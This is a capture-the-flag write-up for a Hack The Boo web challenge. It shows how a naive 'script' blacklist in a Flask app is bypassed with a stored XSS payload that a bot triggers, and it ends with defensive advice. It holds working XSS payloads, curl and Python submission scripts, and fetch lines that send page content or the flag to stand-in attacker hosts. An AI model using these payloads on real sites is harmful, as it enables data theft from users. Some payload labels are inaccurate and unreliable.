HTB Hack The Boo Practice: Web Spooktastic

Challenge Information

AttributeDetails
EventHack The Boo Practice
CategoryWeb
ChallengeWeb Spooktastic
DifficultyVery Easy

Summary

A Flask application with Socket.IO implements a newsletter registration feature with XSS protection. However, the protection is naive - it only filters for the word “script” in lowercase. By using alternative HTML tags like noembed and onerror event handlers, an attacker can bypass the filter and inject JavaScript code. When the bot visits a vulnerable page with the payload, the injected script executes and the flag is transmitted via Socket.IO.


Analysis

The vulnerable application:

def blacklist_pass(email):
email = email.lower()
if "script" in email:
return False
return True
@app.route("/api/register", methods=["POST"])
def register():
if not request.is_json or not request.json["email"]:
return abort(400)
if not blacklist_pass(request.json["email"]):
return abort(401)
registered_emails.append(request.json["email"])
Thread(target=start_bot, args=(request.remote_addr,)).start()
return {"success":True}
@app.route("/bot")
def bot():
if request.args.get("token", "") != BOT_TOKEN:
return abort(404)
return render_template("bot.html", emails=registered_emails)

Vulnerabilities:

  1. Inadequate Blacklist Filter: Only checks for the literal string “script”
  2. Multiple XSS Payloads Available: HTML has many ways to execute JavaScript
  3. Stored XSS: User input is stored in registered_emails and later rendered
  4. Bot Automation: A Selenium bot visits the vulnerable page, triggering the payload
  5. WebSocket Exfiltration: Socket.IO is used to send the flag back to attacker

The bot code:

def start_bot(user_ip):
# ... browser setup ...
try:
browser.get(f"{HOST}/bot?token={BOT_TOKEN}")
WebDriverWait(browser, 3).until(EC.alert_is_present())
alert = browser.switch_to.alert
alert.accept()
send_flag(user_ip)
except Exception as e:
pass

Solution

Filter Bypass Technique

The filter only checks for the string “script” (case-insensitive). We can bypass it using:

  1. Alternative HTML tags: <noembed>, <embed>, <img>, <svg>, <iframe>, <object>
  2. Event handlers: onerror, onload, onclick, onmouseover, onmouseenter
  3. Combining tags: Close the noembed tag and inject image with event handler

The Payload

From the notes, the working payload is:

<noembed><img title="</noembed><img src onerror=alert(1)>"></noembed>

How it works:

  1. <noembed> - A tag that embeds non-embedded content, not filtered
  2. <img title=" - Starts an img tag with a title attribute
  3. </noembed> - Closes the noembed tag early
  4. <img src onerror=alert(1)> - New img tag without src triggers onerror
  5. >"></noembed> - Closes the title and noembed attributes

Step 1: Connect to the Application

// Client-side JavaScript to receive the flag
const socket = io();
socket.on('flag', function(data) {
console.log('Flag received:', data.flag);
// Send to external server
fetch('http://attacker-server.com/flag?flag=' + data.flag);
});

Step 2: Register the XSS Payload

Terminal window
curl -X POST http://target:1337/api/register \
-H "Content-Type: application/json" \
-d '{"email":"<noembed><img title=\"</noembed><img src onerror=alert(1)>\"></noembed>"}'

Step 3: Trigger the Bot

The bot automatically visits /bot?token=... and the payload executes.

Using Python

import requests
import json
target = "http://target:1337"
# Payload that bypasses filter
payload = '<noembed><img title="</noembed><img src onerror=alert(1)>"></noembed>'
# Register with malicious email
data = {"email": payload}
response = requests.post(
f"{target}/api/register",
json=data,
headers={"Content-Type": "application/json"}
)
print(response.json())
# The bot will visit and trigger the XSS

Advanced Payloads for Different Scenarios

If the simple alert() is blocked, use:

<!-- Exfiltrate data via image -->
<noembed><img src=x onerror="fetch('http://attacker/exfil?data='+document.body.innerHTML)"></noembed>
<!-- Use setTimeout to delay execution -->
<noembed><img src=x onerror="setTimeout(function(){alert('XSS')}, 1000)"></noembed>
<!-- Direct script injection -->
<svg onload="alert('XSS')"></svg>
<!-- SVG alternative -->
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
<!-- Using unicode encoding to bypass "script" -->
<iframe src="data:text/html,<h1>test</h1><img src=x onerror=alert(1)>"></iframe>

Key Takeaways

  • Blacklist filters are insufficient for security - use whitelists instead
  • HTML has dozens of ways to execute JavaScript - only a few tags matter for form input
  • Never trust user input rendering - always sanitize using libraries like:
    • DOMPurify (JavaScript)
    • bleach (Python)
    • OWASP Java HTML Sanitizer (Java)
  • Content Security Policy (CSP) helps mitigate XSS:
@app.after_request
def set_csp(response):
response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self'"
return response
  • Encoding vs. Sanitization:
    • Encoding: Convert characters to HTML entities (safe for display)
    • Sanitization: Remove dangerous tags (safe for rendering)
  • Defense in depth:
    • Input validation (reject known bad patterns)
    • Output encoding (HTML escape all user content)
    • Content Security Policy (limit what scripts can do)
    • HTTPOnly cookies (prevent JavaScript access to session cookies)